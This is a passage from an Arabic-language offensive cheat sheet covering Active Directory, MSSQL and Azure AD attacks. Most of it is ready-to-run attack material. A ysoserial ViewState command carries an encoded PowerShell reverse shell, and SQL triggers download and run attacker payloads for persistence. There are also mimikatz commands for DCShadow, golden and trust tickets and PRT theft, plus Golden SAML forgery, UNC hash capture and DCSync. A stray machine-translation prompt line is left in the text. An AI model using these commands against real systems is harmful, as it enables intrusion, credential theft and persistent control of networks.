ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server
### حقن مسار UNC
[ ❓ ] : اصطلاح التسمية الموحد __يسمح بمشاركة الموارد__ على الشبكة عبر بناء جملة دقيق للغاية: `\IP-Server\shareName\Folder\File`
إطلاق responder : `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Poisoning
*بروتوكول حل SQL Server هو بروتوكول بسيط على مستوى التطبيق يُستخدم لنقل الطلبات والاستجابات بين العملاء وخدمات اكتشاف خادم قاعدة البيانات.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> قمنا بالتقاط تجزئة **Administrator** باستخدام سكريبت VBA هذا.```python
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash : Administrator::TEST:1122334455667788...
```
### مشغلات DML وDDL ومشغلات تسجيل الدخول
[ ❓ ] : **المشغلات** هي إجراء مخزن يتم تنفيذه تلقائياً عند حدوث حدث في SQL Server.
- لغة تعريف البيانات (DDL) – يتم تنفيذها على عبارات Create وAlter وDrop وبعض الإجراءات المخزنة النظامية.
- لغة معالجة البيانات (DML) – يتم تنفيذها على عبارات Insert وUpdate وDelete.
- مشغلات تسجيل الدخول – يتم تنفيذها عند تسجيل دخول المستخدم.
**قائمة المشغلات**
*قائمة كل المشغلات*```sql
SELECT * FROM sys.server_triggers
```
*سرد المشغلات لقاعدة بيانات*```sql
SELECT * FROM sys.server_triggers
```
*عرض مشغلات DDL وDML على مثيل باستخدام باورشيل```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*استخدام DML triggers للاستمرارية*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*استخدم DDL triggers للاستمرارية*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*استخدام مشغلات تسجيل الدخول للثبات*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## استمرار الغابة (Forest Persistence)
### DCShadow
**يقوم DCShadow مؤقتًا بتسجيل وحدة تحكم مجال جديدة في المجال الهدف** ويستخدمها لـ "دفع" سمات مثل SIDHistory و SPNs... إلى الكائنات المحددة دون ترك سجلات التغيير للكائنات المعدلة!
*⚠️ المتطلبات:*
- صلاحيات DA مطلوبة لاستخدام DCShadow.
- يجب أن يكون جهاز المهاجم جزءًا من المجال الجذر.
يتطلب الهجوم مثيلين (instances) على جهاز تم اختراقه:
**المثيل الأول:** *بدء خوادم RPC بصلاحيات SYSTEM وتحديد السمات المراد تعديلها*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**المثال الثاني :** *بامتيازات كافية من DA لدفع القيم :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## هجمات عبر الغابات
### تذاكر الثقة
*تفريغ مفتاح الثقة*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*تزوير IR-TGT باستخدام Trust key*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
* الحصول على TGS لخدمة CIFS```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*استخدم TGS لخدمة CIFS*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### استخدام تجزئة KRBTGT```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory
### AZ User Enumeration
*الاتصال بـ Azure Active Directory باستخدام **Connect-MsolService**.*```powershell
PS> Connect-MsolService -Credential $cred
```
*يسمح هذا الأمر بالتعداد باستخدام المصادقة متعددة العوامل (MFA)*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*تحديد موقع Azure AD Connect Server*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### التعداد باستخدام AZ CLI
**تعداد التخزين**
*تعداد تخزين blob*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure
*إنشاء مستخدم جديد*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*ينفذ أمرًا على VM محدد*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### ذهبي SAML
*⚠️ المتطلبات :*
- صلاحيات المسؤول لخادم ADFS
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`
> الحصول على `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> احصل على `IdP Name`:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> احصل على `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
مجموعة أدوات لاستغلال Golden SAML يمكن العثور عليها [هنا](https://github.com/secureworks/whiskeysamlandfriends)
> ** Golden SAML مشابهة للتذكرة الذهبية وتؤثر على بروتوكول Kerberos. مثل التذكرة الذهبية، تسمح Golden SAML للمهاجم بالوصول إلى الموارد المحمية بواسطة وكلاء SAML (أمثلة: Azure، AWS، vSphere، Okta، Salesforce، ...) بصلاحيات مرتفعة من خلال تذكرة ذهبية.**
*ShockNAwe:*
- 1. استخراج إعدادات تهيئة AD FS عن بُعد
- 2. تزوير وتوقيع رمز Golden SAML
- 3. استخراج جزء "التأكيد" من رمز Golden SAML وتمريره إلى Azure Core Management API للحصول على رمز وصول صالح للـ API
- 4. تعداد معرف الاشتراك
- 5. تعداد القائمة الكاملة للأجهزة الافتراضية في الاشتراك
- 6. تنفيذ أوامر عشوائية على جميع الأجهزة الافتراضية كـ SYSTEM/root
*WhiskeySAML:*
- 1. استخراج إعدادات تهيئة AD FS عن بُعد
- 2. تزوير وتوقيع رموز Golden SAML
- 3. تمرير رمز Golden SAML إلى بوابة Microsoft Azure
- 4. تسجيل الدخول إلى بوابة Azure كأي مستخدم مع تجاوز تكوينات Azure MFA```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### التلاعب بـ PRT
#### PassThePRT
* تحقق من حالة AzureAdJoined وقم بتنزيل Mimikatz:```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
البحث عن **prt** و **KeyValue**:```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*استخدم **APKD function** لفك تشفير **KeyValue** واحفظ قيمة **"Context"** و **"DerivedKey"** :*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
Please provide the Markdown content to translate.```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt
---SNIP---
Signed JWT : eyJ...
```
*تزوير PRT-Cookie باستخدام [lantern](https://github.com/ConstantinT/Lantern):*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*توليد JWT*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### حساب خدمة MSOL
> يمكنك تفريغ حساب خدمة MSOL باستخدام [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) المستخدم بواسطة Azure AD Connect Sync وتنفيذ هجوم DCsync باستخدام بيانات الاعتماد المفرغة
*DCSync مع حساب MSOL*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## متنوعات
### سمة مستوى المجال
#### استغلال حصة حساب الجهاز (MAQ)
استخدم crackmapexec (CME) مع وحدة maq:
`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`
#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP 10.10.13.100 389 dc1 Guest badpwdcount: 0 pwdLastSet: <never>
```
### استغلال IPv6 في AD
إرسال حزمة ICMPv6 إلى الهدف باستخدام ping6 :
`ping6 -c 3 <target>`
مسح عنوان IPv6 باستخدام nmap :
`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`
نصائح لتكييف الأدوات لـ ipv6 :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
يمكنك استبدال قيمة AF_INET بـ AF_INET6 من مكتبة socket في بايثون :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### خادم DHCP المارق
`mitm6 -i eth0 -d 'domain.job.local'`
#### تعداد واجهة IOXIDResolver
إنه نص برمجي صغير يقوم بتعداد العناوين في حقل NetworkAddr بمستوى [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants)```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter
RPC_C_AUTHN_DCE_PUBLIC = 2
stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
adr = bind['aNetworkAddr']
print("Adresse:", adr)
```
## المراجع
- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml